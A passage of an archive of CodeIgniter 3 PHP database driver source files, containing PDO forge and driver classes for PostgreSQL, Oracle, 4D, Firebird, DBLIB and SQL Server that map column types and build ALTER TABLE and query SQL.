empty($field[$i]['new_name'])) { $sqls[] = $sql.' RENAME COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TO '.$this->db->escape_identifiers($field[$i]['new_name']); } if ( ! empty($field[$i]['comment'])) { $sqls[] = 'COMMENT ON COLUMN ' .$this->db->escape_identifiers($table).'.'.$this->db->escape_identifiers($field[$i]['name']) .' IS '.$field[$i]['comment']; } } return $sqls; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { // Reset field lengths for data types that don't support it if (isset($attributes['CONSTRAINT']) && stripos($attributes['TYPE'], 'int') !== FALSE) { $attributes['CONSTRAINT'] = NULL; } switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE) { $field['type'] = ($field['type'] === 'NUMERIC') ? 'BIGSERIAL' : 'SERIAL'; } } } drivers/pdo/subdrivers/pdo_oci_forge.php 0000644 00000011305 14642767175 0014526 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Oracle Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_oci_forge extends CI_DB_pdo_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = FALSE; /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * DROP DATABASE statement * * @var string */ protected $_drop_database = FALSE; /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP') { return parent::_alter_table($alter_type, $table, $field); } elseif ($alter_type === 'CHANGE') { $alter_type = 'MODIFY'; } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $field[$i] = "\n\t".$field[$i]['_literal']; } else { $field[$i]['_literal'] = "\n\t".$this->_process_column($field[$i]); if ( ! empty($field[$i]['comment'])) { $sqls[] = 'COMMENT ON COLUMN ' .$this->db->escape_identifiers($table).'.'.$this->db->escape_identifiers($field[$i]['name']) .' IS '.$field[$i]['comment']; } if ($alter_type === 'MODIFY' && ! empty($field[$i]['new_name'])) { $sqls[] = $sql.' RENAME COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TO '.$this->db->escape_identifiers($field[$i]['new_name']); } } } $sql .= ' '.$alter_type.' '; $sql .= (count($field) === 1) ? $field[0] : '('.implode(',', $field).')'; // RENAME COLUMN must be executed after MODIFY array_unshift($sqls, $sql); return $sql; } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported - sequences and triggers must be used instead } /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'NUMBER'; return; case 'MEDIUMINT': $attributes['TYPE'] = 'NUMBER'; return; case 'INT': $attributes['TYPE'] = 'NUMBER'; return; case 'BIGINT': $attributes['TYPE'] = 'NUMBER'; return; default: return; } } } drivers/pdo/subdrivers/pdo_pgsql_driver.php 0000644 00000022674 14642767176 0015307 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO PostgreSQL Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_pgsql_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'pgsql'; /** * Database schema * * @var string */ public $schema = 'public'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM()'); // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'pgsql:host='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); empty($this->port) OR $this->dsn .= ';port='.$this->port; empty($this->database) OR $this->dsn .= ';dbname='.$this->database; if ( ! empty($this->username)) { $this->dsn .= ';user='.$this->username; empty($this->password) OR $this->dsn .= ';password='.$this->password; } } } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { $this->conn_id = parent::db_connect($persistent); if (is_object($this->conn_id) && ! empty($this->schema)) { $this->simple_query('SET search_path TO '.$this->schema.',public'); } return $this->conn_id; } // -------------------------------------------------------------------- /** * Insert ID * * @param string $name * @return int */ public function insert_id($name = NULL) { if ($name === NULL && version_compare($this->version(), '8.1', '>=')) { $query = $this->query('SELECT LASTVAL() AS ins_id'); $query = $query->row(); return $query->ins_id; } return $this->conn_id->lastInsertId($name); } // -------------------------------------------------------------------- /** * Determines if a query is a "write" type. * * @param string An SQL query string * @return bool */ public function is_write_type($sql) { if (preg_match('#^(INSERT|UPDATE).*RETURNING\s.+(\,\s?.+)*$#is', $sql)) { return FALSE; } return parent::is_write_type($sql); } // -------------------------------------------------------------------- /** * "Smart" Escape String * * Escapes data based on type * * @param string $str * @return mixed */ public function escape($str) { if (is_bool($str)) { return ($str) ? 'TRUE' : 'FALSE'; } return parent::escape($str); } // -------------------------------------------------------------------- /** * ORDER BY * * @param string $orderby * @param string $direction ASC, DESC or RANDOM * @param bool $escape * @return object */ public function order_by($orderby, $direction = '', $escape = NULL) { $direction = strtoupper(trim($direction)); if ($direction === 'RANDOM') { if ( ! is_float($orderby) && ctype_digit((string) $orderby)) { $orderby = ($orderby > 1) ? (float) '0.'.$orderby : (float) $orderby; } if (is_float($orderby)) { $this->simple_query('SET SEED '.$orderby); } $orderby = $this->_random_keyword[0]; $direction = ''; $escape = FALSE; } return parent::order_by($orderby, $direction, $escape); } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "table_name" FROM "information_schema"."tables" WHERE "table_schema" = \''.$this->schema."'"; if ($prefix_limit === TRUE && $this->dbprefix !== '') { return $sql.' AND "table_name" LIKE \'' .$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * List column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT "column_name" FROM "information_schema"."columns" WHERE LOWER("table_name") = '.$this->escape(strtolower($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT "column_name", "data_type", "character_maximum_length", "numeric_precision", "column_default" FROM "information_schema"."columns" WHERE LOWER("table_name") = '.$this->escape(strtolower($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->column_name; $retval[$i]->type = $query[$i]->data_type; $retval[$i]->max_length = ($query[$i]->character_maximum_length > 0) ? $query[$i]->character_maximum_length : $query[$i]->numeric_precision; $retval[$i]->default = $query[$i]->column_default; } return $retval; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Update_Batch statement * * Generates a platform-specific batch update string from the supplied data * * @param string $table Table name * @param array $values Update data * @param string $index WHERE key * @return string */ protected function _update_batch($table, $values, $index) { $ids = array(); foreach ($values as $key => $val) { $ids[] = $val[$index]['value']; foreach (array_keys($val) as $field) { if ($field !== $index) { $final[$val[$field]['field']][] = 'WHEN '.$val[$index]['value'].' THEN '.$val[$field]['value']; } } } $cases = ''; foreach ($final as $k => $v) { $cases .= $k.' = (CASE '.$val[$index]['field']."\n" .implode("\n", $v)."\n" .'ELSE '.$k.' END), '; } $this->where($val[$index]['field'].' IN('.implode(',', $ids).')', NULL, FALSE); return 'UPDATE '.$table.' SET '.substr($cases, 0, -2).$this->_compile_wh('qb_where'); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { return $sql.' LIMIT '.$this->qb_limit.($this->qb_offset ? ' OFFSET '.$this->qb_offset : ''); } } drivers/pdo/subdrivers/pdo_4d_forge.php 0000644 00000012370 14642767200 0014253 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO 4D Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_4d_forge extends CI_DB_pdo_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = 'CREATE SCHEMA %s'; /** * DROP DATABASE statement * * @var string */ protected $_drop_database = 'DROP SCHEMA %s'; /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = 'CREATE TABLE IF NOT EXISTS'; /** * RENAME TABLE statement * * @var string */ protected $_rename_table = FALSE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = 'DROP TABLE IF EXISTS'; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'INT16' => 'INT', 'SMALLINT' => 'INT', 'INT' => 'INT64', 'INT32' => 'INT64' ); /** * DEFAULT value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_default = FALSE; // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('ADD', 'DROP'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } // No method of modifying columns is supported return FALSE; } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'].$field['length'] .$field['null'] .$field['unique'] .$field['auto_increment']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INTEGER': $attributes['TYPE'] = 'INT'; return; case 'BIGINT': $attributes['TYPE'] = 'INT64'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute UNIQUE * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_unique(&$attributes, &$field) { if ( ! empty($attributes['UNIQUE']) && $attributes['UNIQUE'] === TRUE) { $field['unique'] = ' UNIQUE'; // UNIQUE must be used with NOT NULL $field['null'] = ' NOT NULL'; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE) { if (stripos($field['type'], 'int') !== FALSE) { $field['auto_increment'] = ' AUTO_INCREMENT'; } elseif (strcasecmp($field['type'], 'UUID') === 0) { $field['auto_increment'] = ' AUTO_GENERATE'; } } } } drivers/pdo/subdrivers/pdo_firebird_forge.php 0000644 00000014201 14642767200 0015525 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Firebird Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_firebird_forge extends CI_DB_pdo_forge { /** * RENAME TABLE statement * * @var string */ protected $_rename_table = FALSE; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'SMALLINT' => 'INTEGER', 'INTEGER' => 'INT64', 'FLOAT' => 'DOUBLE PRECISION' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Create database * * @param string $db_name * @return string */ public function create_database($db_name) { // Firebird databases are flat files, so a path is required // Hostname is needed for remote access empty($this->db->hostname) OR $db_name = $this->hostname.':'.$db_name; return parent::create_database('"'.$db_name.'"'); } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name (ignored) * @return bool */ public function drop_database($db_name) { if ( ! ibase_drop_db($this->conn_id)) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } elseif ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($this->db->database), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('DROP', 'ADD'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { return FALSE; } if (isset($field[$i]['type'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TYPE '.$field[$i]['type'].$field[$i]['length']; } if ( ! empty($field[$i]['default'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' SET '.$field[$i]['default']; } if (isset($field[$i]['null'])) { $sqls[] = 'UPDATE "RDB$RELATION_FIELDS" SET "RDB$NULL_FLAG" = ' .($field[$i]['null'] === TRUE ? 'NULL' : '1') .' WHERE "RDB$FIELD_NAME" = '.$this->db->escape($field[$i]['name']) .' AND "RDB$RELATION_NAME" = '.$this->db->escape($table); } if ( ! empty($field[$i]['new_name'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TO '.$this->db->escape_identifiers($field[$i]['new_name']); } } return $sqls; } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'].$field['length'] .$field['null'] .$field['unique'] .$field['default']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INT': $attributes['TYPE'] = 'INTEGER'; return; case 'BIGINT': $attributes['TYPE'] = 'INT64'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported } } drivers/pdo/subdrivers/pdo_dblib_forge.php 0000644 00000010354 14642767201 0015021 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO DBLIB Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_dblib_forge extends CI_DB_pdo_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = "IF NOT EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nCREATE TABLE"; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = "IF EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nDROP TABLE"; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT' => 'SMALLINT', 'SMALLINT' => 'INT', 'INT' => 'BIGINT', 'REAL' => 'FLOAT' ); // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('ADD', 'DROP'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table).' ALTER COLUMN '; $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { $sqls[] = $sql.$this->_process_column($field[$i]); } return $sqls; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { if (isset($attributes['CONSTRAINT']) && strpos($attributes['TYPE'], 'INT') !== FALSE) { unset($attributes['CONSTRAINT']); } switch (strtoupper($attributes['TYPE'])) { case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INTEGER': $attributes['TYPE'] = 'INT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['auto_increment'] = ' IDENTITY(1,1)'; } } } drivers/pdo/subdrivers/pdo_sqlsrv_forge.php 0000644 00000010356 14642767202 0015302 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO SQLSRV Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_sqlsrv_forge extends CI_DB_pdo_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = "IF NOT EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nCREATE TABLE"; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = "IF EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nDROP TABLE"; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT' => 'SMALLINT', 'SMALLINT' => 'INT', 'INT' => 'BIGINT', 'REAL' => 'FLOAT' ); // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('ADD', 'DROP'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table).' ALTER COLUMN '; $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { $sqls[] = $sql.$this->_process_column($field[$i]); } return $sqls; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { if (isset($attributes['CONSTRAINT']) && strpos($attributes['TYPE'], 'INT') !== FALSE) { unset($attributes['CONSTRAINT']); } switch (strtoupper($attributes['TYPE'])) { case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INTEGER': $attributes['TYPE'] = 'INT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['auto_increment'] = ' IDENTITY(1,1)'; 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IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. 